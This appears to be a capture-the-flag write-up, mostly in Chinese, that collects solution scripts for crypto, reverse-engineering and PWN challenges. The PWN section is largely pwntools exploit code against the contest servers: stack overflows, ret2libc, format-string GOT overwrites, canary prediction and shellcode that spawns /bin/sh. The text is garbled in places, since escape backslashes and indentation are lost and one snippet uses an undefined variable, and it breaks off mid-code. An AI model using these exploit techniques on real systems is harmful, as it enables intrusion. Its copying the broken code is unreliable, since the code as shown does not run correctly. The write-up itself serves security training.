q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dp= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dq= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dr= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009
def union(x1, x2):
a1, m1 = x1
a2, m2 = x2
d = gmpy2.gcd(m1, m2)
assert (a2 - a1) % d == 0
p1,p2 = m1 // d,m2 // d
_,l1,l2 = gmpy2.gcdext(p1,p2)
k = -((a1 - a2) // d) * l1
lcm = gmpy2.lcm(m1,m2)
ans = (a1 + k * m1) % lcm
return ans,lcm
def excrt(ai,mi):
tmp = zip(ai,mi)
return reduce(union, tmp)
mi = [(q - 1) * (r - 1),(p - 1) * (r - 1),(p - 1) * (q - 1)]
ai = [dp,dq,dr]
d,lcm = excrt(ai,mi)
n = p * q * r
m = pow(c,d,n)
print(long_to_bytes(m))
JPGDiff
from hilbertcurve.hilbertcurve import HilbertCurve
hilbert_curve = HilbertCurve(16, 2)
distances = list(range(2**16))
points = hilbert_curve.points_from_distances(distances)
keys = {}
for point, dist in zip(points, distances):
keys[dist] = point
from PIL import Image
ct = Image.open('ct.png')
new_img = Image.new('RGB',(256,256))
for i in range(2**16):
new_img.putpixel((keys[i][0],keys[i][1]),ct.getpixel((0,i)))
new_img.show()
card_game
from pwn import *
context.log_level=('debug')
p = remote('59.110.20.54','4953')
p.sendlineafter(b'input your option:',b'1')
results = []
p.recvuntil(b'gift:')
([results.append(i) for i in eval(p.recvline().decode())])
p.recvuntil(b'gift:')
([results.append(i) for i in eval(p.recvline().decode())])
# print(results)
from functools import reduce
from gmpy2 import invert,gcd
from Crypto.Util.number import long_to_bytes
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
seed = (invert(multiplier,modulus)*(states[0]-increment))%modulus
return crack_unknown_seed(modulus, multiplier, increment, states[5])
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
seedss = []
def crack_unknown_seed(modulus, multiplier, increment, states6):
# return (invert(multiplier,modulus)*(states0-increment))%modulus
# return modulus
# print(modulus, multiplier, increment, states0)
for i in range(200):
states6 = (states6*multiplier+increment)%modulus
# print(states6)
seedss.append(int(states6))
# seed = crack_unknown_modulus(results)
crack_unknown_modulus(results)
# seeds=seeds
# print(seeds)
from cards import Heart, Spade, Club, Diamond
def choose_card(num):
x = (num>>5)%4
if x == 0:
return 'Heart_'+(Heart[(num>>6)%13][15])
if x%4 == 1:
return 'Spade_'+(Spade[(num>>6)%13][15])
if x%4 == 2:
return 'Diamond_'+(Diamond[(num>>6)%13][15])
else:
return 'Club_'+(Club[(num>>6)%13][15])
# print(choose_card(8201295581))
# print(choose_card(14611777429))
# print(choose_card(30192140233))
tmp = ""
for i,v in enumerate(seedss):
# print(choose_card(v),end=' ')
tmp += choose_card(v)+" "
if i%3==2:
p.sendlineafter(b'(example: Heart_1 Club_2 Diamond_3)n',tmp[:-1])
tmp = ""
PWN
nc_pwntools
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = remote('pwn.node.game.sycsec.com',30573)
s = b'x53x79x63x6cx6fx76x65x72'
pl = b'a'*(100-len(s)) + s
r.sendline(pl)
print(r.recvuntil(b'2.This challenge is harder than first onen'))
equ = r.recvline()[:-3]
result = eval(equ)
r.sendline(str(result))
print(r.recv())
print(r.recv())
r.interactive()
r.sendline('')
password
from pwn import*
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
res = b'Wrong'
while b'Wrong' in res:
io = remote('pwn.node.game.sycsec.com',30726)
# io = process('./password')
io.sendafter(b'name:n',b'a'*(0x28) + p64(0x04012F3))
io.recvuntil(b'please enter password:n')
io.sendline(b'x00')
# sleep(0.1)
res = io.recvline()
sleep(0.1)
if b'Correct' in res:
io.interactive()
ret2text
from pwn import *
context.log_level = 'debug'
r = process('./ret2text')
# r = remote('pwn.node.game.sycsec.com',30691)
def debug():
gdb.attach(r)
pause()
elf = ELF('ret2text')
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b' '))
uu64 = lambda data :u64(data.ljust(8, b' '))
lic = lambda data :uu64(ru(data)[-6:])
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it = lambda :r.interactive()
pad = p64(0)*9 + p64(1)
backdoor = b'x27x52'
pl1 = pad + p64(0) + backdoor
se(pl1)
r.interactive()
write1
from pwn import *
r = gdb.debug('./chal')
# r = remote('pwn.node.game.sycsec.com',30157)
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b' '))
uu64 = lambda data :u64(data.ljust(8, b' '))
lic = lambda data :uu64(ru(data)[-6:])
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it = lambda :r.interactive()
################
# s
# 41
# -01
# 13 -> 12
# 40
# -28
# 4d ->25
# -1
################
def payload():
sl('s')
sl('41')
sl('-1')
sl('40')
sl('-28')
sl('-1')
payload()
it()
ret2libc
from LibcSearcher import*
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = remote('pwn.node.game.sycsec.com',30680)
# r = gdb.debug('./chal')
# r = process('./chal')
elf = ELF('./chal')
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b' '))
uu64 = lambda data :u64(data.ljust(8, b' '))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it = lambda :r.interactive()
rdi_ret =0x0000000000401333
rsi_r15_ret =0x0000000000401331
ret = 0x000000000040101a
write_got=elf.got['write']
write_plt=elf.plt['write']
ru(b'try thisn')
ru(b'This challenge no backdoor!')
gadget_1 = 0x40132A
gadget_2 = 0x401310
payload = b' '*(0x18)
payload += p64(gadget_1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(1) # r12
payload += p64(write_got) # r13
payload += p64(8) # r14
payload += p64(write_got) # r15
payload += p64(gadget_2)
payload += b' '*(0x8+8*6)
payload += p64(0x04010D0)
r.sendline(payload)
write = lic(b'x7f')
print(hex(write))
libc = LibcSearcher('write',write)
base = write - libc.dump('write')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
payload2 = b' '*(0x18)+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
sl(payload2)
it()
ezpwn
# from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
# r = remote("pwn.node.game.sycsec.com",31041)
# r = gdb.debug('./pwn')
r = process('pwn')
# libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/home/h711/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
elf = ELF('pwn')
# ld-linux-x86-64.so.2
# srand = libc.srand(libc.time(0)) #设置种子
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b' '))
uu64 = lambda data :u64(data.ljust(8, b' '))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it = lambda :r.interactive()
shellcode = asm('''
xor rax,rax
mov dx,0x100
syscall
''')
print(len(shellcode))
paylaod =b'/bin/shx00' + shellcode
print(len(paylaod))
se(paylaod)
# gdb.attach(r)
shellcode = b'x90'*9+asm(shellcraft.sh())
# pause()
se(shellcode)
# pause()
it()
write2
from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
r = remote('pwn.node.game.sycsec.com',30069)
# r = gdb.debug('./chal')
# r = process('./chal')
elf = ELF('./chal')
# ld-linux-x86-64.so.2
# srand = libc.srand(libc.time(0)) #设置种子
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b' '))
uu64 = lambda data :u64(data.ljust(8, b' '))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it = lambda :r.interactive()
index_addr = int(str(rl())[15:-3],16) + 0x4
index_addr = hex(index_addr)
print(index_addr)
print(len(str(index_addr)))
shellcode = b'x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05'
sl(shellcode)
sla(b'index:n',b'40')
sl(hex(int(index_addr[-2:],16)))
sla(b'index:n',b'41')
sl(hex(int(index_addr[-4:-2],16)))
sla(b'index:n',b'42')
sl(hex(int(index_addr[-6:-4],16)))
sla(b'index:n','43')
sl(hex(int(index_addr[-8:-6],16)))
sla(b'index:n',b'44')
sl(hex(int(index_addr[-10:-8],16)))
sla(b'index:n',b'45')
sl(hex(int(index_addr[-12:-10],16)))
sla(b'index:n',b'-1')
it()
fmt1.0
from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
r = remote('pwn.node.game.sycsec.com',31898)
# r = gdb.debug('./fmt1.0')
# r = process('./fmt1.0')
elf = ELF('./fmt1.0')
# ld-linux-x86-64.so.2
# srand = libc.srand(libc.time(0)) #设置种子
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b' '))
uu64 = lambda data :u64(data.ljust(8, b' '))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it = lambda :r.interactive()
ret_addr = 0x401257
print_got = elf.got['printf']
execve = elf.plt['execve']
payload= (fmtstr_payload(6,{0x404020:0x4010D0})).ljust(0x58,b'x00')+p64(ret_addr)
r.send(payload)
payload =b'/bin/shx00'
r.send(payload)
r.interactive()
white_canary
from LibcSearcher import*
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./chal')
# ld-linux-x86-64.so.2
# srand = libc.srand(libc.time(0)) #设置种子
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b' '))
uu64 = lambda data :u64(data.ljust(8, b' '))
lic = lambda data :uu64(ru(data)[-6:])
pack = lambda str, addr :p32(addr)
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it = lambda :r.interactive()
ret_addr = 0x401257
while True:
seed = libc.time(0) % 60
v1 = libc.srand(seed)
v2 = libc.rand()
v3 = libc.rand()
canary_pre =(((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)+ ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)
canary = int(str(hex(canary_pre))[14:30],16)
print(hex(canary))
# r = process('./chal')
# gdb.attach(r)
r = remote('pwn.node.game.sycsec.com',31883)
payload = asm(shellcraft.open('./flag'))
payload += asm(shellcraft.read('rax',0x4040E0,0x50))
payload += asm(shellcraft.write(1,0x4040E0,0x50))
se(payload)
payload = b'a'*0x8+p64(canary)+b'a'*0x8+p64(0x4040E0)
sea(b'tell me something:n',payload)
res = r.recvall()
sleep(1)
if b'stack' in res:
continue
else:
it()
break
Re
点击就送的逆向题
[c语言编译过程及工程下的.c文件.h文件.o文件.so文件.a文件 – 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/371323950#:~:text=用法:gcc –S hello.i –o,hello.s 作用:将预处理输出文件hello.i汇编成hello.s文件。3)
gcc -E hello.c -o hello.i
gcc –S hello.i –o hello.s
gcc –c hello.s –o hello.o
gcc hello.o –o hello
a="Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM"
a=list(a)
for i in range(len(a)):
print(chr(ord(a[i])-7),end='')
幸运数字
a = [ 0x0D, 0x07, 0x1D, 0x25, 0x1D, 0x6E, 0x30, 0x39, 0x2C, 0x3F,
0x2A, 0x2B, 0x32, 0x3F, 0x2A, 0x37, 0x6E, 0x30, 0x30, 0x30,
0x30, 0x2D, 0x01, 0x07, 0x31, 0x2B, 0x01, 0x39, 0x1F, 0x3B,
0x2D, 0x2D, 0x1B, 0x3A, 0x01, 0x0C, 0x6F, 0x39, 0x36, 0x2A,
0x23]
# print(0x07 ^ 94)
for i in range(len(a)):
print(chr(a[i]^94),end='')
shiftjmp
去花,还原
a = [ 0x53, 0x58, 0x41, 0x78, 0x53, 0x36, 0x6A, 0x64, 0x38, 0x64,
0x6F, 0x54, 0x78, 0x42, 0x51, 0x7B, 0x78, 0x22, 0x4D, 0x61,
0x27, 0x63, 0x73, 0x45, 0x2D, 0x7C, 0x45, 0x6C, 0x2C, 0x6F,
0x2F, 0x7B, 0x5E, 0x5C]
for i in range(34):
print(chr(a[i]^i),end='')
砍树
enc =[
0x00, 0x20, 0x20, 0x17, 0x1B, 0x36, 0x0E, 0x36, 0x26, 0x17,
0x04, 0x2A, 0x29, 0x07, 0x26, 0x15, 0x52, 0x33, 0x2D, 0x0F,
0x3A, 0x27, 0x11, 0x06, 0x33, 0x07, 0x46, 0x17, 0x3D, 0x0A,
0x3C, 0x38, 0x2E, 0x22, 0x18
]
key = "Sycloverforerver"
for i in range(len(enc)):
enc[i]=enc[i]^ord(key[i%len(key)])
print(chr(int(enc[i])),end='')
# print(0x1B^ord('{'))
听说cpp很难?
a=[77, 95, 61, 55, 104, 115, 87, 39, 104, 81, 89, 127, 38, 107, 89, 115, 87, 85, 91, 89, 111, 106, 89, 39, 87, 114, 87, 79, 87, 120, 120]
for i in range(len(a)):
a[i]=((a[i]+10)^10)-10
print(chr(a[i]),end='')
# print((71^ 10)-10)
rainbow
ida_chars =[
0x65, 0x58, 0x41, 0x8E, 0x50, 0x44, 0x7B, 0x62, 0x57, 0x4A,
0x7E, 0x54, 0x49, 0x6C, 0x7D, 0x84, 0x4F, 0x5B, 0x95, 0x60,
0x60, 0x64, 0x77, 0x48, 0x7D, 0x4D, 0x7B, 0x9F, 0x68, 0x3C,
0x2D, 0x62
]
for i in range(len(ida_chars)):
ida_chars[i]^=i
# print(chr(ida_chars[i]),end='')
# q=1
for i in range(len(ida_chars)):
if(i%3==0):
ida_chars[i]-=18
print(chr(ida_chars[i]),end='')
小黄鸭
直接爆破,有个坑点原题目中
if chr(ord(a[1])) != ‘s’ or ord(a[2]) != 109 or chr(ord(a[17])) != ‘C’:
意思其实就是告诉我们倒数第三个数是m,服了
#include<stdio.h>
#include<string.h>
int main()
{
char a[] = { 'H', 'N', 'R', '|', '2', '`', 'w', '1', 'e', 't', '`', 'n', 'D', 'j', '`', 'R', 'w', 'P', 'h', 't', '`', 'N', 'd', 'J', 'g', '`', 's', 'g', '4', 'p', '|', 'h', '~' };
int i, j, k;
for(i=0;i< 33;i++)
for (k = 32; k < 127; k++)
{
j = k;
if (j >= 'a' && j <= 'z')
{
j += 13;
if (j <= 'a' || j >= 'z')
j -= 26;
j += 2;
}
else
{
if (j >= 'A' && j <= 'Z')
{
j += 13;
if (j <= 'A' || j >= 'Z')
j -= 26;
j += 2;
}
else
{
j += 1;
}
}
if (j == a[i])
{
printf("%c", k);
}
}
return 0;
}
flower-or-tea
TEA系列加密解密 | Gruge’s Blog (g2uge.github.io)
第一次真正的接触tea加密,了解了tea,xtea和xxtea加密的特征
这个题的坑点一是,他的数据接收是从前从后往中间聚集,其实这个无所谓,直接解出flag后面自己改就好了
坑点二,这是一个xtea,他修改了常量和循环次数,其实这俩也是套脚本稍微一改就可以了
坑点三,原加密函数,中(*(key + 4 * ((sum >> 11) & 3)),中的4其实是混淆用的,因为他是取的地址,所以我们可以使用这个代替
int __cdecl tea(unsigned int a1, unsigned int *enc, int key)
{
int result; // eax
unsigned int i; // [esp+8h] [ebp-10h]
unsigned int v1; // [esp+Ch] [ebp-Ch]
unsigned int v0; // [esp+10h] [ebp-8h]
unsigned int sum; // [esp+14h] [ebp-4h]
v0 = *enc;
v1 = enc[1];
sum = 0;
for ( i = 0; i < a1; ++i )
{
v1 += sum ^ (*(key + 4 * ((sum >> 11) & 3)) + sum) ^ (v0 + ((v0 >> 5) ^ (16 * v0)));
v0 += (*(key + 4 * (sum & 3)) + sum) ^ (v1 + ((v1 >> 5) ^ (16 * v1)));
sum += 0x31415927;
}
*enc = v0;
result = 4;
enc[1] = v1;
return result;
}
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((sum + key[ ((sum >> 11) & 3)])^sum);
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[(sum & 3)]);
坑点四,解密代码记得按照逻辑把代码都取反
解密脚本:
#include <stdio.h>
#include <stdint.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x31415927;
for (i = 0; i < num_rounds; i++) {
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((sum + key[ ((sum >> 11) & 3)])^sum);
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[(sum & 3)]);
sum += delta;
}
v[0] = v0; v[1] = v1;
printf("加密后的数据:%u %un", v[0], v[1]);
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x31415927, sum = delta * num_rounds;
for (i = 0; i < num_rounds; i++) {
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[(sum & 3)]);
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((sum + key[((sum >> 11) & 3)]) ^ sum);
}
v[0] = v0; v[1] = v1;
printf("解密后的数据:%u %un", v[0], v[1]);
}
int main()
{
uint32_t v[38] = { 0x9AF9464B, 0xC417B89E, 0xB217A713, 0xC93BA9E8, 0x94F3E44E, 0xB5CC2AB5, 0x4451E42C, 0x7A8A289A,
0x53C8D008, 0x6E117B49, 0x9BFFD794, 0x5EFF2DF9, 0x17E72531, 0xDFBD9979, 0x8F871B3A, 0x73E8C5AC,
0xB28670A6, 0x5AF6A369, 0x2CF7DA24, 0x347B66AF, 0xB9C84D60, 0x911E912F, 0xBD5A2F9B, 0xCB96733A,
0xC59968BE, 0xA00013E9, 0xC12F4EA4, 0xDE863A10, 0xA0C4D594, 0x4380983C, 0x7E2F7648, 0xE54DDC89,
0x3F27A690, 0xB58D3199, 0x604AE517, 0x9C903984, 0xF4E04481, 0x3CF4EDFF };
uint32_t flag[2] = {0x0,0x0};
uint32_t pqw[2] = { 'S','}'};
uint32_t const k[4] = { 0x00000020, 0x0000001B, 0x00000027, 0x0000002C };
unsigned int i,r = 54;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
//printf("加密前原始数据:%u %un", v[0],v[1]);
//encipher(r, v, k);
//printf("加密后的数据:%u %un", v[0], v[1]);
encipher(r, pqw, k);
for (i = 0; i < 38; i+=2)
{
flag[0] = v[i];
flag[1] = v[i + 1];
decipher(r, flag, k);
}
return 0;
}
经过测试,这样直接套用ida里的代码也是可以的
for (i = 0; i < num_rounds; i++) {
v1 += sum ^ (*(key + 1 * ((sum >> 11) & 3)) + sum) ^ (v0 + ((v0 >> 5) ^ (16 * v0)));
v0 += (*(key + 1 * (sum & 3)) + sum) ^ (v1 + ((v1 >> 5) ^ (16 * v1)));
sum += 0x31415927;
}
v[0] = v0; v[1] = v1;
printf("加密后的数据:%u %un", v[0], v[1]);
浪漫至死不渝
已知加密后的数据以及密钥,直接爆破就好了
#include <stdio.h>
#include <stdint.h>
#include<string.h>
int main()
{
int enc[]={ 125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99 };
int key[] = { '5','2','0','1','3','1','4','W','X','H','N' };
int i, j, k;
for (i = 14; i < 18; i++)
{
for (j = 33; j < 126; j++)
{
k = j;
k = j ^ key[i - 7];
k += 99;
if (k == enc[i])
{
printf("%c ", j);
}
}
}
return 0;
}
#include <stdio.h>
#include <stdint.h>
#include<string.h>
int main()
{
int enc[]={ 125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99 };
int key[] = { '5','2','0','1','3','1','4','W','X','H','N' };
int i, j, k;
for (i = 0; i < 14; i++)
{
for (j = 33; j < 126; j++)
{
k = j;
k = j ^ key[i % 7];
k += 10;
if (k == enc[i])
{
printf("%c ", j);
}
}
}
return 0;
}
easymath
做不了一点,z3好难啊
from z3 import *
solver = Solver()
flag = [BitVec('f%d' % i, 8) for i in range(26)]
finish_key = [1, 0, 0, 0, 0,0, 1, 0, 0, 0,0, 0, 1, 0, 0,0, 0, 0, 1, 0,0, 0, 0, 0, 1]
matrix = [0x12, 0x1D, 0x10, 0x13, 0x1B, 0x08, 0x1F, 0x08, 0x17, 0x1E, 0x1D, 0x03, 0x1C, 0x0A, 0x15, 0x12, 0x1D, 0x08,
0x10, 0x1C, 0x0B, 0x1E, 0x07, 0x14, 0x07]
for i in range(5):
for j in range(5):
q = 0
for k in range(5):
q = q + flag[5 * i + k] * matrix[5 * k + j]
q = q & 0x1F
solver.add(finish_key[i*5+j] == q)
if solver.check() == sat:
m = solver.model()
for i in range(25):
print(m[flag[i]],end=' ')
## 11 19 9 5 12 14 6 22 27 16 26 28 29 29 11 4 31 22 13 8 27 29 10 16 16
求出了题目中last的值,那么对应加密
通过动调,输入01234_asdzxcpoityumnbAOZWXGMY,找到他加密后字母索引
flag:是char类型
01234_asdzxcpoityumnbAOZWXGMY
last:是dword类型
0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x0A 0x0B 0x0C 0x0D 0x0E 0x10 0x13 0x16 0x1A 0x1B 0x1C 0x1D 0x1F 0x20 0x32 0x33 0x34 0x35 0x36 0x37
建立一个字典,然后对应着求出的last进行索引即可
a = '01234_asdzxcpoityumnbAOZWXGMY'
a = list(a)
b = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x10,0x13,
0x16,0x1A,0x1B,0x1C,0x1D,0x1F,0x20,0x32,
0x33,0x34,0x35,0x36,0x37]
c={}
for i in range(len(a)):
c[b[i]] = a[i]
flag = [11, 19, 9, 5, 12, 14, 6, 22, 27, 16, 26, 28, 29, 29, 11, 4, 31, 22, 13, 8, 27, 29, 10, 16, 16]
for i in range(len(flag)):
print(c[flag[i]],end='')
mySelf
对比着他的算法,抄过来就可以了,一开始是个SMC,我们需要绕过一下,然后恢复函数
#include <stdio.h>
#include <stdint.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, uint32_t v[2]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 1640531527;
for (i = 0; i < num_rounds; i++) {
sum -= 1640531527;
v1 += ((v0 >> 5) + 2) ^ ((16 * v0) + 2) ^ (sum + v0);
v0 += ((v1 >> 5) + 4) ^ ((16 * v1) + 3) ^ (sum + v1);
}
v[0] = v0; v[1] = v1;
printf("加密后的数据:%u %un", v[0], v[1]);
}
void decipher(unsigned int num_rounds, uint32_t v[2]) {
unsigned int v0 = v[0], v1 = v[1], delta = 1640531527;
unsigned int i, sum = -(1640531527 * 32);
for (i = 0; i < 32; i++) {
v1 -= ((v0 >> 5) + 4) ^ ((16 * v0) + 3) ^ (sum + v0);
v0 -= ((v1 >> 5) + 2) ^ ((16 * v1) + 2) ^ (sum + v1);
sum += 1640531527;
}
v[0] = v0; v[1] = v1;
printf("解密后的数据:%x %xn", v[0], v[1]);
}
int main()
{
uint32_t v[8] = { 0xBDBDF9F0, 0xE26194C4, 0x80799125, 0x1F0FC219, 0xEB6A1815, 0x84F572C5, 0x40CC3A85, 0xD2A32ABB };
uint32_t flag[2] = { 0x0,0x0 };
uint32_t pqw[2] = { 'S','Y' };
uint32_t const k[4] = { 0x00000020, 0x0000001B, 0x00000027, 0x0000002C };
unsigned int i, r = 32;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
//printf("加密前原始数据:%u %un", v[0],v[1]);
//encipher(r, v, k);
//printf("加密后的数据:%u %un", v[0], v[1]);
for (i = 0; i < 8; i += 2)
{
flag[0] = v[i];
flag[1] = v[i + 1];
// encipher(r, flag);
decipher(r, flag);
}
printf("%c", 2157182970);
return 0;
}
寻找初音未来
动态调试调用他自己的rc4加密,获得flag
go的题目,分析比较困难,依旧只看关键的函数,看到一个随机数的函数,一个rc4加密,分析代码可知有两个输入,第一个输入会放入当成seed,生成一个伪随机的数据,然后当作rc4的密钥加密数据,最后得到他提供给我们的数据,初音的颜色可以从网上得知是39C5BB,第二个输入的是rc4要加密的数据,我们通过动调的方式,把我们第二个输入改成密文,就可以直接获得flag
这里我是点击的v16找到的我们的输入数据
在数据中右击选择patching – changes bytes 然后换成我们的密文
后面的代码就是解密那个jpg的,没什么用,但可以执行一下试一下
是男人就来扎针
学习一下unity的逆向
dll dolownd
[dnSpy调试unity游戏 反编译unity游戏_dnspy mono.dll下载-CSDN博客](https://blog.csdn.net/jumpe_17/article/details/115468065#:~:text=1.简单使用(查看unity游戏源码) 1.1 打开dnspy 1.2,找到游戏位置 一般在游戏目录下的 游戏名_Data%2FManaged下 1.3 将Assembly-CSharp.dll拖入dnspy中)
分为unity引擎和c引擎,只要会调试就能直接出
ezandroid
java层的tea加密,一开始给我看蒙了,我们直接用jeb反编译apk
分析代码,我们已知他首先调用了一个b类,定义了tea加密的key,首先在前面,读取我们输入框中的数据,然后进行分析是否是24个字节,如果不是就填充至够24,然后奇数和偶数进行定位,分成两个字符串,奇数字符串直接传入后续的mainactivity2中,第二个字符串进行下面的tea加密操作
在这一段,他进行了int – byte的操作,要记住java中有byte和int的区别,这样是方便后续进行tea加密,tea加密完成后他又会把byte转换成int型,但后续又会强制转换成byte,其实这些转换就没有什么意义
[java中int与byte相互转换_java int]转 byte[]-CSDN博客
java的示例代码
public class Main {
public static void main(String[] args) {
byte[] encbyte = {-63,-90,-9,-7,-70,76,78,23,-14,-123,34,123};
int[] encint = new int[encbyte.length / 4];
for (int i = 0; i < encbyte.length; i += 4) {
byte[] temp = new byte[4];
System.arraycopy(encbyte, i, temp, 0, 4);
